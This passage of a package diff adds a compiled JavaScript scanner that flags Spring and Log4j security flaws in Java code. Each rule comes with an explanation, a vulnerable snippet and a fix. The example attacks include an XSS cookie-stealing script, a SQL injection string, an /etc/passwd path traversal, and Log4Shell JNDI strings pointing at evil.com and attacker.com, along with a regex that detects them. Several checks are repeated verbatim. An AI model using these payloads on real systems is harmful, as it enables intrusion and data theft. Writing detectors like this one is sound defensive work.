+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-xss-responsebody', '@ResponseBody with unsanitized HTML - Cross-Site Scripting (XSS)', 'Use @RestController with JSON responses, or sanitize HTML with OWASP Java HTML Sanitizer', lineNumber, 'Returning HTML with unsanitized user input in @ResponseBody allows attackers to inject malicious JavaScript that executes in victims\' browsers. This can steal session cookies, capture credentials, perform actions as the victim, or redirect to phishing sites.', 'return "<h1>Hello " + name + "</h1>" where name = "<script>alert(document.cookie)</script>" executes in browser', [
+                    'Session hijacking (cookie theft)',
+                    'Credential theft (keylogging)',
+                    'Account takeover',
+                    'Malware distribution',
+                    'Phishing attacks'
+                ], '@GetMapping("/greet")\n@ResponseBody\npublic String greet(@RequestParam String name) {\n  return "<h1>Hello " + name + "</h1>"; // XSS vulnerability\n}', '// Option 1: Use JSON (recommended)\n@GetMapping("/greet")\npublic Map<String, String> greet(@RequestParam String name) {\n  return Map.of("greeting", "Hello " + name); // JSON auto-encoded\n}\n\n// Option 2: Sanitize HTML\nimport org.owasp.html.PolicyFactory;\nimport org.owasp.html.Sanitizers;\n\n@GetMapping("/greet")\n@ResponseBody\npublic String greet(@RequestParam String name) {\n  PolicyFactory sanitizer = Sanitizers.FORMATTING;\n  String safeName = sanitizer.sanitize(name);\n  return "<h1>Hello " + safeName + "</h1>";\n}', 'Prefer JSON responses with @RestController instead of raw HTML. If HTML is required, use OWASP Java HTML Sanitizer to remove malicious scripts. Never trust user input in HTML context'));
+            }
+        }
+        // 24. Missing Input Validation - HIGH
+        if (trimmed.match(/@RequestBody\s+(?!@Valid)/) &&
+            !trimmed.includes('@Valid') &&
+            !trimmed.startsWith('//')) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-missing-validation', '@RequestBody without @Valid - Missing input validation', 'Add @Valid annotation: public User register(@Valid @RequestBody User user)', lineNumber, 'Request bodies without validation allow attackers to send malformed, excessively long, or malicious data that can cause application errors, database constraint violations, or business logic bypasses. Missing validation on email, password, or numeric fields can lead to injection attacks or data corruption.', '@RequestBody User user without @Valid allows email="" or password="a" violating business rules', [
+                'SQL injection via malformed input',
+                'Business logic bypass',
+                'Data corruption',
+                'Denial of Service (oversized payloads)',
+                'Application errors'
+            ], '@PostMapping("/register")\npublic User register(@RequestBody User user) {\n  return userService.save(user); // No validation\n}', '// In User.java\npublic class User {\n  @NotBlank @Email\n  private String email;\n  \n  @NotBlank @Size(min = 8, max = 100)\n  private String password;\n}\n\n// In Controller\n@PostMapping("/register")\npublic User register(@Valid @RequestBody User user) {\n  return userService.save(user); // Validated automatically\n}', 'Use @Valid with Bean Validation annotations (@NotNull, @NotBlank, @Email, @Size, @Pattern). Configure global exception handler for MethodArgumentNotValidException to return user-friendly errors'));
+        }
+        // 25. SQL Injection in JPA @Query - CRITICAL
+        if (trimmed.includes('@Query') &&
+            (trimmed.includes('+') || trimmed.includes('concat')) &&
+            !trimmed.startsWith('//')) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-jpa-sql-injection', '@Query with string concatenation - SQL Injection vulnerability', 'Use parameterized queries: @Query("SELECT u FROM User u WHERE u.name = :name")', lineNumber, 'String concatenation in JPA @Query annotations allows SQL injection attacks. Attackers can manipulate the query to access unauthorized data, modify/delete records, or execute administrative database operations. JPA does not prevent SQL injection when using string concatenation.', '@Query("SELECT u FROM User u WHERE u.name = \'" + name + "\'") where name = "\' OR \'1\'=\'1" returns all users', [
+                'Full database access (read/write/delete)',
+                'Authentication bypass',
+                'Data exfiltration',
+                'Data destruction',
+                'Privilege escalation'
+            ], '@Query("SELECT u FROM User u WHERE u.name = \'" + name + "\'")\nList<User> findByName(String name); // SQL injection', '@Query("SELECT u FROM User u WHERE u.name = :name")\nList<User> findByName(@Param("name") String name); // Safe: parameterized\n\n// Or use method naming\nList<User> findByName(String name); // Spring Data generates safe query', 'Use named parameters (:paramName) or positional parameters (?1) in @Query. Spring Data will parameterize them safely. Better yet, use Spring Data method naming conventions to avoid writing queries'));
+        }
+        // 26. Missing @Transactional - MEDIUM
+        // FIX (Dec 9, 2025): Exclude crypto APIs that have .update() methods
+        // False positive: MessageDigest.update(), Signature.update(), Mac.update()
+        if (trimmed.match(/\.(save|delete|update|persist|merge|flush)\s*\(/) &&
+            !trimmed.startsWith('//')) {
+            // Exclude cryptographic APIs (not database operations)
+            const isCryptoAPI = trimmed.match(/MessageDigest.*\.update/) ||
+                trimmed.match(/Signature.*\.update/) ||
+                trimmed.match(/Mac.*\.update/);
+            if (isCryptoAPI) {
+                return; // Skip - this is crypto, not database
+            }
+            const prevLines = lines.slice(Math.max(0, index - 5), index);
+            const hasTransactional = prevLines.some(l => l.includes('@Transactional'));
+            if (!hasTransactional) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-missing-transactional', 'Database operation without @Transactional - Data integrity risk', 'Add @Transactional annotation to method or class', lineNumber, 'Database operations without transactions can leave data in inconsistent states if an error occurs mid-operation. Multiple database changes may partially complete, violating data integrity constraints. Security logs may be incomplete. Transactions ensure atomicity (all-or-nothing) for related database operations.', 'User created but role assignment fails → orphaned user account with no permissions', [
+                    'Data inconsistency',
+                    'Partial data commits',
+                    'Security audit log gaps',
+                    'Business rule violations',
+                    'Database constraint violations'
+                ], 'public void createUser(User user) {\n  userRepository.save(user); // No transaction\n  roleRepository.save(new Role(user, "USER")); // May fail\n}', '@Transactional\npublic void createUser(User user) {\n  userRepository.save(user);\n  roleRepository.save(new Role(user, "USER"));\n  // Both succeed or both rollback\n}', 'Use @Transactional on service methods that perform multiple database operations. Configure rollback for checked exceptions with @Transactional(rollbackFor = Exception.class). Ensures data consistency and security audit trail completeness'));
+            }
+        }
+        // 27. Insecure CORS - HIGH
+        if (trimmed.includes('@CrossOrigin') &&
+            (trimmed.includes('*') || trimmed.includes('"*"')) &&
+            !trimmed.startsWith('//')) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-insecure-cors', '@CrossOrigin(origins = "*") - Insecure CORS policy', 'Specify allowed origins: @CrossOrigin(origins = "https://trusted-domain.com")', lineNumber, 'Setting CORS to allow all origins (*) permits any website to make authenticated requests to your API. Combined with credentials (cookies, Authorization headers), this allows malicious sites to access user data, perform actions as the victim, or steal sensitive information.', '@CrossOrigin(origins = "*") + withCredentials allows evil.com to read /api/user/profile', [
+                'Cross-origin data theft',
+                'Session hijacking',
+                'CSRF-like attacks',
+                'API abuse from malicious sites',
+                'Credential leakage'
+            ], '@CrossOrigin(origins = "*")\n@RestController\npublic class ApiController {\n  @GetMapping("/user/profile")\n  public User getProfile() { return currentUser(); }\n}', '@CrossOrigin(\n  origins = {"https://app.company.com", "https://admin.company.com"},\n  allowCredentials = "true"\n)\n@RestController\npublic class ApiController {\n  @GetMapping("/user/profile")\n  public User getProfile() { return currentUser(); }\n}', 'Specify exact allowed origins. Never use * with credentials. Use environment-specific configuration for origins. Consider using Spring Security\'s CORS configuration for global settings'));
+        }
+        // 28. Path Traversal - HIGH
+        if (trimmed.includes('@PathVariable') &&
+            !trimmed.startsWith('//')) {
+            const nextLines = lines.slice(index + 1, Math.min(index + 10, lines.length));
+            const hasFileOperation = nextLines.some(l => l.match(/new\s+File\s*\(/) ||
+                l.includes('Files.read') ||
+                l.includes('Files.write') ||
+                l.includes('.readAllBytes') ||
+                l.includes('FileInputStream') ||
+                l.includes('FileOutputStream'));
+            if (hasFileOperation) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-path-traversal', '@PathVariable used in file operations - Path Traversal vulnerability', 'Validate path: Use Path.normalize() and check .startsWith(baseDir)', lineNumber, '@PathVariable values come directly from the URL and can contain path traversal sequences (../, ../../) that allow attackers to escape the intended directory and access arbitrary files on the server, including configuration files, credentials, source code, or system files.', '@GetMapping("/files/{filename}") + filename="../../../etc/passwd" reads /etc/passwd', [
+                    'Arbitrary file read (credentials, configs)',
+                    'Source code disclosure',
+                    'System file access (/etc/passwd)',
+                    'Information disclosure',
+                    'Remote code execution (if write enabled)'
+                ], '@GetMapping("/files/{filename}")\npublic byte[] getFile(@PathVariable String filename) {\n  return Files.readAllBytes(Paths.get("/uploads/" + filename)); // Vulnerable\n}', '@GetMapping("/files/{filename}")\npublic byte[] getFile(@PathVariable String filename) {\n  Path baseDir = Paths.get("/uploads").toAbsolutePath().normalize();\n  Path filePath = baseDir.resolve(filename).normalize();\n  \n  if (!filePath.startsWith(baseDir)) {\n    throw new SecurityException("Path traversal detected");\n  }\n  \n  return Files.readAllBytes(filePath); // Safe\n}', 'Normalize paths with .normalize(). Validate resolved path stays within base directory with .startsWith(). Reject paths containing .. or absolute paths. Use whitelist of allowed filenames if possible'));
+            }
+        }
+        // 29. Missing Rate Limiting - MEDIUM
+        if (trimmed.match(/@(PostMapping|RequestMapping)\s*\(/) &&
+            (trimmed.includes('/login') || trimmed.includes('/auth') || trimmed.includes('/signin')) &&
+            !trimmed.startsWith('//')) {
+            const prevLines = lines.slice(Math.max(0, index - 5), index);
+            const nextLines = lines.slice(index + 1, Math.min(index + 3, lines.length));
+            const allContext = [...prevLines, ...nextLines];
+            const hasRateLimit = allContext.some(l => l.includes('@RateLimiter') ||
+                l.includes('@RateLimit') ||
+                l.includes('@Bucket'));
+            if (!hasRateLimit) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-missing-rate-limit', 'Authentication endpoint without rate limiting - Brute force risk', 'Add rate limiting: Use Bucket4j, Resilience4j, or Spring Security rate limiting', lineNumber, 'Authentication endpoints without rate limiting allow unlimited login attempts, enabling brute force attacks to guess passwords. Attackers can try thousands of password combinations, credential stuffing attacks using leaked password lists, or cause denial of service through excessive requests.', '/login without rate limiting → attacker tries 10,000 passwords → successful breach', [
+                    'Brute force password guessing',
+                    'Credential stuffing attacks',
+                    'Account takeover',
+                    'Denial of Service',
+                    'Resource exhaustion'
+                ], '@PostMapping("/login")\npublic ResponseEntity<AuthResponse> login(@RequestBody LoginRequest request) {\n  return authService.authenticate(request); // No rate limiting\n}', '// Using Bucket4j\n@PostMapping("/login")\n@RateLimiter(name = "loginLimiter")\npublic ResponseEntity<AuthResponse> login(@RequestBody LoginRequest request) {\n  return authService.authenticate(request);\n}\n\n// In application.yml\nresilience4j.ratelimiter:\n  instances:\n    loginLimiter:\n      limitForPeriod: 5\n      limitRefreshPeriod: 60s', 'Implement rate limiting on authentication endpoints (e.g., 5 attempts per minute per IP). Use Bucket4j, Resilience4j, or Spring Cloud Gateway rate limiting. Consider account lockout after repeated failures. Monitor for brute force patterns'));
+            }
+        }
+        // 30. Insecure Session Configuration - HIGH
+        if (trimmed.includes('@RestController')) {
+            const hasStatelessSession = lines.some(l => l.includes('sessionCreationPolicy') &&
+                (l.includes('STATELESS') || l.includes('SessionCreationPolicy.STATELESS')));
+            if (!hasStatelessSession && lines.some(l => l.includes('HttpSecurity'))) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-insecure-session', '@RestController without STATELESS session policy - Session fixation risk', 'Configure Spring Security: .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)', lineNumber, 'REST APIs should use stateless authentication (JWT, OAuth tokens) instead of server-side sessions. Session-based authentication in REST APIs is vulnerable to session fixation, CSRF, and doesn\'t scale horizontally. Attackers can exploit session predictability or steal session cookies.', 'Session-based REST API vulnerable to session fixation attack → attacker forces victim to use known session ID', [
+                    'Session fixation attacks',
+                    'CSRF vulnerabilities',
+                    'Session hijacking',
+                    'Scalability issues',
+                    'Mobile app compatibility problems'
+                ], '@Configuration\n@EnableWebSecurity\npublic class SecurityConfig {\n  protected void configure(HttpSecurity http) {\n    http.authorizeRequests().anyRequest().authenticated();\n    // Missing sessionCreationPolicy\n  }\n}', '@Configuration\n@EnableWebSecurity\npublic class SecurityConfig {\n  protected void configure(HttpSecurity http) {\n    http\n      .sessionManagement()\n        .sessionCreationPolicy(SessionCreationPolicy.STATELESS)\n      .and()\n      .authorizeRequests().anyRequest().authenticated();\n  }\n}', 'Use SessionCreationPolicy.STATELESS for REST APIs with JWT/OAuth. Disable session creation entirely. Use token-based authentication instead of server-side sessions for better security and scalability'));
+            }
+        }
+        // ==================== Log4j Vulnerability Detection ====================
+        // 31. Vulnerable Log4j Version - CRITICAL
+        if (trimmed.match(/import\s+org\.apache\.logging\.log4j/) &&
+            !trimmed.startsWith('//')) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('log4j-vulnerable-version', 'Log4j import detected - Verify version is NOT 2.0-2.14.1 (CVE-2021-44228)', 'Update to Log4j 2.17.1+ or use log4j2.formatMsgNoLookups=true for 2.10+', lineNumber, 'Log4j versions 2.0-2.14.1 are vulnerable to CVE-2021-44228 (Log4Shell), a critical remote code execution vulnerability. Attackers can execute arbitrary code by injecting JNDI lookup strings into log messages. This affects ANY application using vulnerable Log4j versions.', 'logger.info(userInput) where userInput = "${jndi:ldap://evil.com/Exploit}" executes attacker code', [
+                'Remote Code Execution (RCE)',
+                'Complete server compromise',
+                'Data exfiltration',
+                'Ransomware deployment',
+                'Supply chain attacks'
+            ], 'import org.apache.logging.log4j.Logger; // Version unknown - may be vulnerable', '// Update pom.xml or build.gradle:\n// <log4j.version>2.17.1</log4j.version>\n\n// Or set JVM property for Log4j 2.10+:\n// -Dlog4j2.formatMsgNoLookups=true\n\nimport org.apache.logging.log4j.Logger; // Use 2.17.1+', 'Update to Log4j 2.17.1 or later. For versions 2.10-2.14.1, set -Dlog4j2.formatMsgNoLookups=true. For older versions, upgrade immediately. Verify with: mvn dependency:tree | grep log4j'));
+        }
+        // 32. Unsafe Logging Pattern - CRITICAL
+        if (trimmed.match(/logger\.(info|debug|warn|error|trace|fatal)\s*\(/) &&
+            !trimmed.startsWith('//')) {
+            const hasConcatenation = trimmed.match(/logger\.(info|debug|warn|error|trace|fatal)\s*\([^)]*(\+|\.concat\()/);
+            if (hasConcatenation) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('log4j-unsafe-logging', 'Log4j: String concatenation in logger - Log4Shell RCE risk', 'Use parameterized logging with {} placeholders instead of concatenation', lineNumber, 'String concatenation in Log4j logger calls is dangerous with Log4j 2.0-2.14.1 (CVE-2021-44228). If any concatenated value contains user input (direct or indirect), attackers can inject JNDI lookup strings (${jndi:ldap://...}) which Log4j evaluates, leading to remote code execution. Even values from databases, APIs, or method calls could originate from user input.', 'logger.info("Payment: " + payment.getAmount()) where getAmount() returns user-controlled "${jndi:ldap://evil.com/Exploit}" executes attacker code', [
+                    'Remote Code Execution (RCE) via Log4Shell',
+                    'Complete server compromise',
+                    'Data breach (credentials, secrets)',
+                    'Lateral movement in network',
+                    'Cryptomining/ransomware deployment'
+                ], 'logger.info("Payment amount: " + payment.getAmount());\nlogger.debug("Search query: " + query);', '// SAFE: Use parameterized logging (Log4j handles escaping)\nlogger.info("Payment amount: {}", payment.getAmount());\nlogger.debug("Search query: {}", query);\n\n// Note: In Log4j 2.17.1+, {} parameters are NOT evaluated for ${...} patterns', 'Use parameterized logging with {} placeholders instead of string concatenation. Log4j 2.17.1+ does not evaluate ${...} in parameters. Upgrade to 2.17.1+ and use logger.info("msg: {}", value) pattern'));
+            }
+        }
+        // 33. JNDI Lookup Pattern Detection - CRITICAL
+        if (trimmed.match(/\$\{jndi:(ldap|rmi|dns|iiop|corba|nds|nis):\/\//i) &&
+            !trimmed.startsWith('//')) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('log4j-jndi-pattern', 'Log4j: JNDI lookup pattern detected - Potential Log4Shell exploit attempt', 'This is a known Log4Shell attack pattern. Investigate immediately and update Log4j', lineNumber, 'The ${jndi:ldap://} pattern is the exploit signature for CVE-2021-44228 (Log4Shell). This pattern instructs Log4j to perform a JNDI lookup to a remote server, which can return malicious Java objects that execute arbitrary code when deserialized.', '${jndi:ldap://evil.com/Exploit} → Log4j connects to evil.com, downloads Exploit.class, executes it', [
+                'Active exploitation attempt (if in user input)',
+                'Remote Code Execution (RCE)',
+                'Immediate server compromise',
+                'Data exfiltration in progress',
+                'Potential ongoing attack'
+            ], 'String userInput = "${jndi:ldap://attacker.com/Exploit}";\nlogger.error(userInput); // CRITICAL: This executes attacker code', '// 1. Update to Log4j 2.17.1+ immediately\n// 2. Set -Dlog4j2.formatMsgNoLookups=true for 2.10-2.14.1\n// 3. Sanitize all user input:\nString safe = input.replaceAll("\\\\$\\\\{.*?\\\\}", "");\nlogger.error(safe);', 'This is an active Log4Shell exploit attempt. Update Log4j immediately to 2.17.1+. For 2.10-2.14.1, set -Dlog4j2.formatMsgNoLookups=true. Sanitize all user input to remove ${...} patterns'));
+        }
+        // 34. Missing formatMsgNoLookups Configuration - HIGH
+        if (trimmed.match(/import\s+org\.apache\.logging\.log4j/) &&
+            !code.includes('formatMsgNoLookups') &&
+            !code.includes('log4j2.formatMsgNoLookups') &&
+            !trimmed.startsWith('//')) {
+            const isFirstImport = lines.slice(0, index).every(l => !l.match(/import\s+org\.apache\.logging\.log4j/));
+            if (isFirstImport) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('log4j-missing-protection', 'Log4j: Missing formatMsgNoLookups protection - CVE-2021-44228 mitigation absent', 'Set -Dlog4j2.formatMsgNoLookups=true or upgrade to Log4j 2.17.1+', lineNumber, 'For Log4j 2.10-2.14.1, setting log4j2.formatMsgNoLookups=true disables JNDI lookups in log messages, mitigating CVE-2021-44228. Without this property, the application remains vulnerable to Log4Shell attacks even with input sanitization (attackers can exploit other vectors).', 'Log4j 2.10-2.14.1 without formatMsgNoLookups=true → vulnerable to ${jndi:ldap://} attacks', [
+                    'Log4Shell (CVE-2021-44228) vulnerability',
+                    'Remote Code Execution (RCE) risk',
+                    'Incomplete mitigation',
+                    'Exploitable via multiple vectors',
+                    'Compliance violations'
+                ], 'import org.apache.logging.log4j.Logger;\n// No formatMsgNoLookups protection configured', '// Option 1: Set JVM property (for Log4j 2.10-2.14.1)\n// Add to java command: -Dlog4j2.formatMsgNoLookups=true\n\n// Option 2: Set environment variable\n// LOG4J_FORMAT_MSG_NO_LOOKUPS=true\n\n// Option 3 (BEST): Update to Log4j 2.17.1+ (fix built-in)\nimport org.apache.logging.log4j.Logger; // 2.17.1+', 'Best solution: Update to Log4j 2.17.1+ which has the fix built-in. For 2.10-2.14.1, set -Dlog4j2.formatMsgNoLookups=true as JVM argument. For 2.0-2.9, upgrade immediately (property not available)'));
+            }
+        }
+        // ==================== Spring Security ====================
+        // 35. Missing @EnableGlobalMethodSecurity - MEDIUM
+        if (trimmed.match(/@EnableWebSecurity|extends\s+WebSecurityConfigurerAdapter/) &&
+            !trimmed.startsWith('//') && !trimmed.startsWith('/*') && !trimmed.startsWith('*')) {
+            const prevLines = lines.slice(Math.max(0, index - 10), index);
+            const nextLines = lines.slice(index + 1, Math.min(index + 20, lines.length));
+            const allContext = [...prevLines, line, ...nextLines];
+            const isConfigClass = allContext.some(l => l.trim().includes('@Configuration') && !l.trim().startsWith('//'));
+            const hasGlobalMethodSecurity = allContext.some(l => l.trim().includes('@EnableGlobalMethodSecurity') && !l.trim().startsWith('//'));
+            if (isConfigClass && !hasGlobalMethodSecurity) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-missing-method-security', 'Missing @EnableGlobalMethodSecurity - method-level security annotations won\'t work', 'Add @EnableGlobalMethodSecurity(prePostEnabled = true, securedEnabled = true) to enable @PreAuthorize, @Secured, @RolesAllowed', lineNumber, 'Without @EnableGlobalMethodSecurity, Spring method security annotations (@PreAuthorize, @Secured, @RolesAllowed) are silently ignored. Service methods with these annotations appear protected but are actually accessible by anyone. This creates a false sense of security while leaving critical business logic (funds transfers, account deletions, sensitive data access) completely unprotected.', 'BankingService with @PreAuthorize("hasRole(\'ADMIN\')") on transferFunds() → annotation ignored, anyone can transfer funds', [
+                    'Authentication bypass',
+                    'Unauthorized access to critical methods',
+                    'Data manipulation by unprivileged users',
+                    'False sense of security (annotations present but inactive)',
+                    'Privilege escalation',
+                    'Compliance violations (SOC2, PCI-DSS)'
+                ], '@Configuration\n@EnableWebSecurity\npublic class SecurityConfig extends WebSecurityConfigurerAdapter {\n  // @PreAuthorize, @Secured won\'t work!\n}', '@Configuration\n@EnableWebSecurity\n@EnableGlobalMethodSecurity(\n  prePostEnabled = true,  // Enables @PreAuthorize, @PostAuthorize\n  securedEnabled = true,  // Enables @Secured\n  jsr250Enabled = true    // Enables @RolesAllowed\n)\npublic class SecurityConfig extends WebSecurityConfigurerAdapter {\n  // Method-level security now active\n}', 'Enable @EnableGlobalMethodSecurity with appropriate flags. Use prePostEnabled=true for @PreAuthorize/@PostAuthorize (most flexible with SpEL expressions), securedEnabled=true for @Secured, jsr250Enabled=true for @RolesAllowed (JSR-250 standard). Restart application after enabling - annotations are processed at startup'));
+            }
+        }
+        // 27. Insecure CORS - HIGH
+        if (trimmed.includes('@CrossOrigin') &&
+            (trimmed.includes('*') || trimmed.includes('"*"')) &&
+            !trimmed.startsWith('//')) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-insecure-cors', '@CrossOrigin(origins = "*") - Insecure CORS policy', 'Specify allowed origins: @CrossOrigin(origins = "https://trusted-domain.com")', lineNumber, 'Setting CORS to allow all origins (*) permits any website to make authenticated requests to your API. Combined with credentials (cookies, Authorization headers), this allows malicious sites to access user data, perform actions as the victim, or steal sensitive information.', '@CrossOrigin(origins = "*") + withCredentials allows evil.com to read /api/user/profile', [
+                'Cross-origin data theft',
+                'Session hijacking',
+                'CSRF-like attacks',
+                'API abuse from malicious sites',
+                'Credential leakage'
+            ], '@CrossOrigin(origins = "*")\n@RestController\npublic class ApiController {\n  @GetMapping("/user/profile")\n  public User getProfile() { return currentUser(); }\n}', '@CrossOrigin(\n  origins = {"https://app.company.com", "https://admin.company.com"},\n  allowCredentials = "true"\n)\n@RestController\npublic class ApiController {\n  @GetMapping("/user/profile")\n  public User getProfile() { return currentUser(); }\n}', 'Specify exact allowed origins. Never use * with credentials. Use environment-specific configuration for origins. Consider using Spring Security\'s CORS configuration for global settings'));
+        }
+        // 28. Path Traversal - HIGH
+        if (trimmed.includes('@PathVariable') &&
+            !trimmed.startsWith('//')) {
+            // Check next few lines for file operations
+            const nextLines = lines.slice(index + 1, Math.min(index + 10, lines.length));
+            const hasFileOperation = nextLines.some(l => l.match(/new\s+File\s*\(/) ||
+                l.includes('Files.read') ||
+                l.includes('Files.write') ||
+                l.includes('.readAllBytes') ||
+                l.includes('FileInputStream') ||
+                l.includes('FileOutputStream'));
+            if (hasFileOperation) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-path-traversal', '@PathVariable used in file operations - Path Traversal vulnerability', 'Validate path: Use Path.normalize() and check .startsWith(baseDir)', lineNumber, '@PathVariable values come directly from the URL and can contain path traversal sequences (../, ../../) that allow attackers to escape the intended directory and access arbitrary files on the server, including configuration files, credentials, source code, or system files.', '@GetMapping("/files/{filename}") + filename="../../../etc/passwd" reads /etc/passwd', [
+                    'Arbitrary file read (credentials, configs)',
+                    'Source code disclosure',
+                    'System file access (/etc/passwd)',
+                    'Information disclosure',
+                    'Remote code execution (if write enabled)'
+                ], '@GetMapping("/files/{filename}")\npublic byte[] getFile(@PathVariable String filename) {\n  return Files.readAllBytes(Paths.get("/uploads/" + filename)); // Vulnerable\n}', '@GetMapping("/files/{filename}")\npublic byte[] getFile(@PathVariable String filename) {\n  Path baseDir = Paths.get("/uploads").toAbsolutePath().normalize();\n  Path filePath = baseDir.resolve(filename).normalize();\n  \n  if (!filePath.startsWith(baseDir)) {\n    throw new SecurityException("Path traversal detected");\n  }\n  \n  return Files.readAllBytes(filePath); // Safe\n}', 'Normalize paths with .normalize(). Validate resolved path stays within base directory with .startsWith(). Reject paths containing .. or absolute paths. Use whitelist of allowed filenames if possible'));
+            }
+        }
+        // 29. Missing Rate Limiting - MEDIUM
+        if (trimmed.match(/@(PostMapping|RequestMapping)\s*\(/) &&
+            (trimmed.includes('/login') || trimmed.includes('/auth') || trimmed.includes('/signin')) &&
+            !trimmed.startsWith('//')) {
+            // Check both previous and next lines for rate limiting annotations (common libraries: Bucket4j, Resilience4j)
+            const prevLines = lines.slice(Math.max(0, index - 5), index);
+            const nextLines = lines.slice(index + 1, Math.min(index + 3, lines.length));
+            const allContext = [...prevLines, ...nextLines];
+            const hasRateLimit = allContext.some(l => l.includes('@RateLimiter') ||
+                l.includes('@RateLimit') ||
+                l.includes('@Bucket'));
+            if (!hasRateLimit) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-missing-rate-limit', 'Authentication endpoint without rate limiting - Brute force risk', 'Add rate limiting: Use Bucket4j, Resilience4j, or Spring Security rate limiting', lineNumber, 'Authentication endpoints without rate limiting allow unlimited login attempts, enabling brute force attacks to guess passwords. Attackers can try thousands of password combinations, credential stuffing attacks using leaked password lists, or cause denial of service through excessive requests.', '/login without rate limiting → attacker tries 10,000 passwords → successful breach', [
+                    'Brute force password guessing',
+                    'Credential stuffing attacks',
+                    'Account takeover',
+                    'Denial of Service',
+                    'Resource exhaustion'
+                ], '@PostMapping("/login")\npublic ResponseEntity<AuthResponse> login(@RequestBody LoginRequest request) {\n  return authService.authenticate(request); // No rate limiting\n}', '// Using Bucket4j\n@PostMapping("/login")\n@RateLimiter(name = "loginLimiter")\npublic ResponseEntity<AuthResponse> login(@RequestBody LoginRequest request) {\n  return authService.authenticate(request);\n}\n\n// In application.yml\nresilience4j.ratelimiter:\n  instances:\n    loginLimiter:\n      limitForPeriod: 5\n      limitRefreshPeriod: 60s', 'Implement rate limiting on authentication endpoints (e.g., 5 attempts per minute per IP). Use Bucket4j, Resilience4j, or Spring Cloud Gateway rate limiting. Consider account lockout after repeated failures. Monitor for brute force patterns'));
+            }
+        }
+        // 30. Insecure Session Configuration - HIGH
+        if (trimmed.includes('@RestController')) {
+            // Check entire file for Spring Security config with stateless session
+            const hasStatelessSession = lines.some(l => l.includes('sessionCreationPolicy') &&
+                (l.includes('STATELESS') || l.includes('SessionCreationPolicy.STATELESS')));
+            if (!hasStatelessSession && lines.some(l => l.includes('HttpSecurity'))) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-insecure-session', '@RestController without STATELESS session policy - Session fixation risk', 'Configure Spring Security: .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)', lineNumber, 'REST APIs should use stateless authentication (JWT, OAuth tokens) instead of server-side sessions. Session-based authentication in REST APIs is vulnerable to session fixation, CSRF, and doesn\'t scale horizontally. Attackers can exploit session predictability or steal session cookies.', 'Session-based REST API vulnerable to session fixation attack → attacker forces victim to use known session ID', [
+                    'Session fixation attacks',
+                    'CSRF vulnerabilities',
+                    'Session hijacking',
+                    'Scalability issues',
+                    'Mobile app compatibility problems'
+                ], '@Configuration\n@EnableWebSecurity\npublic class SecurityConfig {\n  protected void configure(HttpSecurity http) {\n    http.authorizeRequests().anyRequest().authenticated();\n    // Missing sessionCreationPolicy\n  }\n}', '@Configuration\n@EnableWebSecurity\npublic class SecurityConfig {\n  protected void configure(HttpSecurity http) {\n    http\n      .sessionManagement()\n        .sessionCreationPolicy(SessionCreationPolicy.STATELESS)\n      .and()\n      .authorizeRequests().anyRequest().authenticated();\n  }\n}', 'Use SessionCreationPolicy.STATELESS for REST APIs with JWT/OAuth. Disable session creation entirely. Use token-based authentication instead of server-side sessions for better security and scalability'));
+            }
+        }
+    });
+    return vulnerabilities;
+}
+//# sourceMappingURL=framework-security.js.map

package/dist/src/lib/analyzers/java/security-checks/framework-security.js.map

@@ -0,0 +1 @@
